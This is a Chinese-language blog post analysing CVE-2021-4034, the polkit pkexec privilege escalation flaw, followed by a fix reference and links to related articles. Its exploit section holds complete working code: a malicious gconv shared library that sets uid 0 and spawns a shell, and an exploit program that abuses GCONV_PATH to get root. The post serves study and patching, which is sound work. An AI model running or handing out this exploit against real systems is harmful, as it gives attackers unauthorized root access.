前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2021-4034 Linux Polkit 权限提升漏洞分析

CVE-2021-4034 Linux Polkit 权限提升漏洞分析

作者头像
黑白天安全
发布于 2022-02-24 00:04:16
发布于 2022-02-24 00:04:16
2.4K10
代码可运行
举报
运行总次数:0
代码可运行
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
CVE-2021-4034 Linux Polkit 权限提升漏洞分析
https://cn.4xpl0r3r.com/漏洞分析/CVE-2021-4034-Linux-Polkit-权限提升漏洞分析/

本文主要参考官方的Advisory来进行分析

漏洞简介

2022-01-25,CVE-2021-4034 Exploit 详情发布,此漏洞是由Qualys研究团队在polkit的pkexec中发现的一个内存损坏漏洞

pkexec 应用程序是一个 setuid 工具,允许非特权用户根据预定义的策略以特权用户身份运行命令,基本上所有的主流Linux系统都安装了此工具,其自身也被设置了SUID权限位以正常运转

影响了自2009年5月第一个版本以来的所有pkexec版本,Commit 地址:Add a pkexec(1) command (c8c3d835) · Commits · polkit / polkit · GitLab

由于pkexec的广泛应用,此漏洞基本通杀目前所有Linux发行版,有效范围很大

漏洞原理分析

选择一个修复前的版本进行分析,src/programs/pkexec.c · 0.120 · polkit / polkit · GitLab

根据披露,漏洞存在于pkexec的主函数,相对路径为/src/programs/pkexec.c

在534-568行,处理命令行参数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
for (n = 1; n < (guint) argc; n++) // 注意这一句,如果我们传递了参数后,n应该在结束循环时与argc相等,如果没有参数,argc就为0,但是由于此处n的初始值为1,因此如果没有参数被传递,1就变成了argc(0)+1,如果后续继续使用n的话,就有可能出现问题
{
  if (strcmp (argv[n], "--help") == 0)
    {
      opt_show_help = TRUE;
    }
  else if (strcmp (argv[n], "--version") == 0)
    {
      opt_show_version = TRUE;
    }
  else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
    {
      n++;
      if (n >= (guint) argc)
        {
          usage (argc, argv);
          goto out;
        }

      if (opt_user != NULL)
        {
          g_printerr ("--user specified twice\n");
          goto out;
        }
      opt_user = g_strdup (argv[n]);
    }
  else if (strcmp (argv[n], "--disable-internal-agent") == 0)
    {
      opt_disable_internal_agent = TRUE;
    }
  else
    {
      break;
    }
}

然后在610行,获取PROGRAM参数名称,也就是需要执行的程序

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
path = g_strdup (argv[n]); // 分析代码,我们可以发现n在此时被使用,g_strdup复制目标字符串,但是如果我们不传递任何参数,g_strdup用于拷贝字符串,如果没有参数传递,这里就产生内存越界读取了
if (path == NULL)
{
  GPtrArray *shell_argv;

  path = g_strdup (pwstruct.pw_shell);
  if (!path)
{
      g_printerr ("No shell configured or error retrieving pw_shell\n");
      goto out;
}
  /* If you change this, be sure to change the if (!command_line)
case below too */
  command_line = g_strdup (path);
  shell_argv = g_ptr_array_new ();
  g_ptr_array_add (shell_argv, path);
  g_ptr_array_add (shell_argv, NULL);
  exec_argv = (char**)g_ptr_array_free (shell_argv, FALSE);
}
if (path[0] != '/') // 如果路径不是绝对路径
{
  /* g_find_program_in_path() is not suspectible to attacks via the environment */
  s = g_find_program_in_path (path);
  if (s == NULL)
    {
      g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
      goto out;
    }
  g_free (path);
  argv[n] = path = s; // 触发越界内存写入
}

整理一下,得出,在不传递任何参数时,情况如下

  1. 在第 534 行,整数 n 的设置为 1
  2. 在第 610 行,从 argv[1] 越界读取指针路径
  3. 在第 639 行,指针 s 被越界写入 argv[1]

现在很重要的一点就是,我们想要知道,当越界的argv[1]包含了什么内容

当我们使用execve()执行一个程序时,内核会将我们的参数、环境字符串以及指针(argv 和 envp)复制到新程序栈的末尾;

如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
     V         V                V           V         V                V
 "program" "-option"           NULL      "value" "PATH=name"          NULL

也就是说,被越界访问的实际上是envp[0],其指向第一个环境变量的值,再次总结,我们得到如下

  • 在第610行,要执行的程序路径由envp[0]给出
  • 在632行,path的值被传递给g_find_program_in_path()
  • g_find_program_in_path()在PATH环境变量中搜索程序
  • 如果找到可执行文件,完整的路径返回给pkexecmain()函数
  • 在639行,完整路径被越界写入到argv[1]也就是envp[0],这样就覆盖了我们的第一个环境变量

更准确地来说的话

  • 如果环境变量被设置为PATH=name,如果目录name存在(如当前的工作目录)并且可执行文件被命名为value,那么name/value字符串的指针就会被越界写入到envp[0]
  • 或者说,如果PATH是PATH=name=.,并且如果PATH=name=.存在且包含名为value的可执行文件,那么name=./value字符串的指针就会被越界写入到envp[0]

由于字符串name=./value是我们最后会执行的命令,如果执行了name=./value,这个越界写入允许我们重新引入一个不安全的环境变量,这些被传递到SUID文件的不安全环境变量通常会在main()函数运行之前被删除(由ld.so完成)。接下来我们将基于这一点来进行exploit

要注意:polkit还支持非Linux系统如Solaris 和 BSD, 目前还没有深入分析过,但是OpenBSD是不可利用的,因为它的内核在argc为0时拒绝通过execve执行程序

我们的问题是如何通过重新引入不安全的环境变量来利用这个漏洞,在702行,pkexec完全清除了环境变量,因此可以利用的选项比较少

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if (clearenv () != 0)
  {
    g_printerr ("Error clearing environment: %s\n", g_strerror (errno));
    goto out;
  }

可以发现代码中多处调用了GLib的函数g_printerr(),如位于代码126行和408-409行的validate_environment_variable()函数log_message()调用了g_printerr()

g_printerr()通常打印UTF-8错误消息,但如果环境变量CHARSET被设置后,其也可以使用其它字符集打印消息。为了将消息从CTF-8转换为其它字符集,g_printerr()调用了iconv_open()

为了进行字符集转换,iconv_open()执行一个共享库。通常来说来源字符集、目标字符集和共享库都通过默认配置文件/usr/lib/gconv/gconv-modules指定。但是环境变量GCONV_PATH可以强制iconv_open()使用另外一个配置文件,通常来说GCONV_PATH是一个不安全变量,会被移除,但是由于前面的漏洞,我们可以将其重新引入

要注意:这个利用技术会在日志中留下痕迹,如SHELL变量在/etc/shells中不存在,或者环境变量中存在可疑数据。然而,请注意,这个漏洞也可以以不留下痕迹的方式利用

构造 Exploit

目前的主流Linux系统都受到此漏洞的影响,安装一个Ubuntu 20.04,运行pkexec --version可以发现版本是0.105

首先生成一个恶意的so文件,用来获取提权后的shell

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
  setuid(0); seteuid(0); setgid(0); setegid(0);
  system("PATH=/bin:/usr/bin:/sbin /bin/sh");
}
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gcc -shared -fPIC payload.c -o payload.so

构造exploit

  • LC_MESSAGES 用来指定要转换的字符集
  • XAUTHORITY 设置为非法值以跳过pkexec的正常执行,我们只需要触发日志函数来实现提权
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>

int main() {
    char* _argv[]={ NULL };
    char* _envp[]={
        "x",
        "PATH=GCONV_PATH=.",
        "LC_MESSAGES=en_US.UTF-8",
        "XAUTHORITY=..",
        NULL
    };
    mkdir("GCONV_PATH=.", 0777);
    mkdir("x", 0777);
    FILE *fp = fopen("x/gconv-modules", "wb");
    fprintf(fp, "module  UTF-8//    INTERNAL    ../payload    2\n");
    fclose(fp);
    execve("/usr/bin/pkexec", _argv, _envp);
}
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gcc exploit.c -o exp.out

然后运行./exp.out直接成为root用户

漏洞修复

参见:pkexec: local privilege escalation (CVE-2021-4034) (a2bf5c9c) · Commits · polkit / polkit · GitLab

argc小于1直接退出程序

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-02-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
1 条评论
热度
最新
大佬你好,请问如果我伪造邮件发给亚马逊美国会被当成拉吉邮件吗?
大佬你好,请问如果我伪造邮件发给亚马逊美国会被当成拉吉邮件吗?
回复回复点赞举报
推荐阅读
编辑精选文章
换一批
CVE-2021-4034 pkexec本地提权漏洞
​ 这个漏洞早在去年的时候就看过一些文章了, 不过一直都没用过这个漏洞的打法, 直到昨天的DASCTF才上手用了这个漏洞的一小段原理, 今天就写一篇关于这个漏洞的文章吧。
h0cksr
2023/05/17
9600
Polkit pkexec 本地权限提升
- pkexec 自 2009 年 5 月创建以来就存在漏洞(提交 c8c3d83,
Khan安全团队
2022/03/03
1.4K0
CVE-2021-4034 polkit(pkexec)提权漏洞复现
polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他的作用有点类似于sudo,允许用户以另一个用户身份执行命令
枪哥四海为家
2022/02/22
19.2K5
CVE-2021-4034  polkit(pkexec)提权漏洞复现
CVE-2021-4034 Linux Polkit 权限提升漏洞挖掘思路解读
近日,Qualys 安全团队发布安全公告称,在 Polkit 的 Pkexec 程序中发现了一个本地权限提升漏洞CVE-2021-4034。Qualys安全团队在其博客文章中完整介绍了 Polkit 漏洞的细节。笔者在这里将以导读的形式,为大家解读一下这篇Qualys安全团队关于 Polkit 漏洞的精彩分析,揭开这个漏洞的神秘面纱。 简介 Polkit是一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯:控制决策集中在统一的框架之中,决定低优先级进程是否有权访问高优先级进程。 P
云鼎实验室
2022/02/08
1.7K0
cve-2021-4034复现
polkit的pkexec 存在本地权限提升漏洞 已获得普通权限的攻击者可以通过此漏洞提权至root权限
c2k2o6
2022/01/27
1.8K0
cve-2021-4034复现
预警:Linux-Polkit-权限提升CVE-2021-4034
Linux Polkit 被曝出存在权限提升漏洞,漏洞编号CVE-2021-4034。可导致恶意用户权限提升等危害。
Ms08067安全实验室
2022/02/10
1.7K0
预警:Linux-Polkit-权限提升CVE-2021-4034
【紧急漏洞】Linux polkit本地权限提升漏洞(CVE-2021-4034)POC复现过程与修复方法
也可以手动下载polkit-0.112-26.el7_9.1.x86_64.rpm进行rpm -Uvh修复
yuanfan2012
2022/03/31
2.7K0
【紧急漏洞】Linux polkit本地权限提升漏洞(CVE-2021-4034)POC复现过程与修复方法
CVE-2021-4034 Polkit Pkexec本地提权
Polkit(PolicyKit)是一个用于控制类Unix系统中控制系统范围权限的组件,它为非特权进程与特权进程的通信提供了一种有组织的方式。pkexec是Polkit开源应用框架的一部分,它负责协商特权进程和非特权进程之间的互动,允许授权用户以另一个用户的身份执行命令,是sudo的替代方案。
HACK学习
2022/02/17
2.9K2
CVE-2021-4034:Linux Polkit本地权限提升漏洞
Polkit(PolicyKit)是一个用于控制类Unix系统中控制系统范围权限的组件,它为非特权进程与特权进程的通信提供了一种有组织的方式。pkexec是Polkit开源应用框架的一部分,它负责协商特权进程和非特权进程之间的互动,允许授权用户以另一个用户的身份执行命令,是sudo的替代方案。
Timeline Sec
2022/04/06
1.1K0
CVE-2021-4034:Linux Polkit本地权限提升漏洞
【安全通告】Linux Polkit 权限提升漏洞风险通告(CVE-2021-4034),云鼎实验室已成功验证复现
漏洞速览 腾讯云安全运营中心监测到, Linux Polkit 被曝出存在权限提升漏洞,漏洞编号CVE-2021-4034。可导致恶意用户权限提升等危害。 | 漏洞概述 近日,国外安全团队发布安全公告称,在 polkit 的 pkexec 程序中发现了一个本地权限提升漏洞。pkexec 应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。 由于当前版本的 pkexec 无法正确处理调用参数计数,并最终会尝试将环境变量作为命令执行。攻击者可以通过控制环境变量,从而诱导
云鼎实验室
2022/01/26
16.4K2
Linux 系统安全 - 近期发现的 polkit pkexec 本地提权漏洞(CVE-2021-4034)修复方案
时间: 20220-1-25 事件: qualys 安全研究人员披露 CVE-2021-4034 polkit pkexec 本地提权漏洞细节。 漏洞描述: polkit pkexec 中对命令行参数处理有误,参数注入能够使非特权用户在有漏洞的主机上获取完全 root 权限。
小蓝枣
2022/04/01
1.6K0
Linux 系统安全 - 近期发现的 polkit pkexec 本地提权漏洞(CVE-2021-4034)修复方案
CVE-2021-3156:sudo堆溢出提权漏洞分析
当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出,攻击者可以使用本地普通用户利用sudo获得系统root权限。
FB客服
2021/05/20
2.4K0
CVE-2021-3156:sudo堆溢出提权漏洞分析
Linux 曝出漏洞,各大发行版形同虚设:攻击者能获得系统全面的 root 权限
研究人员警告,Polkit的pkexec组件中曝出一个编号为CVE-2021-4034(PwnKit)的漏洞,它存在于所有主要的Linux发行版的默认配置中。攻击者一旦利用了它,就能获得系统全面的root权限。 CVE-2021-4034已被命名为PwnKit,起源可以追溯到12多年前初次提交的pkexec,这意味着所有Polkit版本统统受到影响。 Pkexec是Polkit开源应用程序框架的一部分,该框架负责协商特权进程和非特权进程之间的交互,pkexec允许授权用户以另一个用户的身份执行命令,兼任s
云头条
2022/03/18
7430
关于 Linux Polkit 组件存在权限提升高危漏 洞的预警通报
各单位: 近日接主管单位来文漏洞(CVE-2021-4034)通报预警提示,国 外安全团队发布安全公告称,在 polkit 的 pkexec 程序中发现了一 个本地权限提升漏洞。pkexec 应用程序是一个 setuid 工具,旨在 允许非特权用户根据预定义的策略以特权用户身份运行命令。由于 pkexec 无法正确处理调用参数计数,并最终会尝试将环境变量作为 命令执行。攻击者可以通过控制环境变量,从而诱导 pkexec 执行任 意代码。利用成功后,可导致非特权用户获得管理员权限。 一、影响范围 由于为系统预
院长技术
2022/03/11
1.2K0
CVE-2021-4034:pkexec本地提权
Debain stretch policykit-1 < 0.105-18+deb9u2 Debain buster policykit-1 < 0.105-25+deb10u1 Debain bookworm, bullseye policykit-1 < 0.105-31.1 Ubuntu 21.10 (Impish Indri) policykit-1 < 0.105-31ubuntu0.1 Ubuntu 21.04 (Hirsute Hippo) policykit-1 Ignored (reached end-of-life) Ubuntu 20.04 LTS (Focal Fossa) policykit-1 < 0.105-26ubuntu1.2) Ubuntu 18.04 LTS (Bionic Beaver) policykit-1 < 0.105-20ubuntu0.18.04.6) Ubuntu 16.04 ESM (Xenial Xerus) policykit-1 < 0.105-14.1ubuntu0.5+esm1) Ubuntu 14.04 ESM (Trusty Tahr) policykit-1 < 0.105-4ubuntu3.14.04.6+esm1) CentOS 6 polkit < polkit-0.96-11.el6_10.2 CentOS 7 polkit < polkit-0.112-26.el7_9.1 CentOS 8.0 polkit < polkit-0.115-13.el8_5.1 CentOS 8.2 polkit < polkit-0.115-11.el8_2.2 CentOS 8.4 polkit < polkit-0.115-11.el8_4.2
Al1ex
2022/03/30
1.3K0
CVE-2021-4034:pkexec本地提权
ansible生产环境使用场景(八):批量修复Linux Polkit权限提升漏洞
2022年1月25号,国外安全研究团队披露了Polkit中的pkecex组件存在的本地权限提升漏洞,漏洞编号为:CVE-2021-4034。 Polkit默认安装在各个主要的Linux发行版本上,pkexec 应用程序是一个 setuid 工具,可在允许非特权用户根据预定义的策略以特权用户身份运行命令。
loong576
2022/09/02
6600
ansible生产环境使用场景(八):批量修复Linux Polkit权限提升漏洞
【权限提升】Linux系统&Docker挂载&Rsync未授权&Sudo-CVE&Polkit-CVE
主要的作用是:从Docker上面下载alpine镜像,然后运行; -v将容器外部的目录/root(其他目录也可以) 挂载到容器内部/mnt,使用-it参数进入容器shell。
没事就要多学习
2024/07/18
1430
【权限提升】Linux系统&Docker挂载&Rsync未授权&Sudo-CVE&Polkit-CVE
zergRush (CVE-2011-3874) 提权漏洞分析
最近(终于)转Android了,2011年著名的zergrush是接触的第一个ROOT漏洞。虽然它已经过气了,只影响Android 2.2 – 2.3.6,但觉得还是有必要记录一下分析所得。
全栈程序员站长
2022/09/06
5960
警惕!这个潜伏了 12 年的高危漏洞,将影响大多数主流 Linux 发行版
本周二,突然曝出的坏消息令 Linux 用户们错愕不已 —— Polkit 系统工具中存在一项已有 12 年“悠久历史”的大 bug,攻击者能够借此在大多数主流 Linux 发行版中获得至高无上的 root 权限。
深度学习与Python
2022/03/23
5520
警惕!这个潜伏了 12 年的高危漏洞,将影响大多数主流 Linux 发行版
Linux系统下进程编程之exec族函数解析(四)
fork函数是用于创建一个子进程,该子进程几乎是父进程的副本,而有时我们希望子进程去执行另外的程序,exec函数族就提供了一个在进程中启动另一个程序执行的方法。它可以根据指定的文件名或目录名找到可执行文件,并用它来取代原调用进程的数据段、代码段和堆栈段,在执行完之后,原调用进程的内容除了进程号外,其他全部被新程序的内容替换了。另外,这里的可执行文件既可以是二进制文件,也可以是Linux下任何可执行脚本文件。
用户6280468
2022/03/18
1.4K0
Linux系统下进程编程之exec族函数解析(四)
推荐阅读
相关推荐
CVE-2021-4034 pkexec本地提权漏洞
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验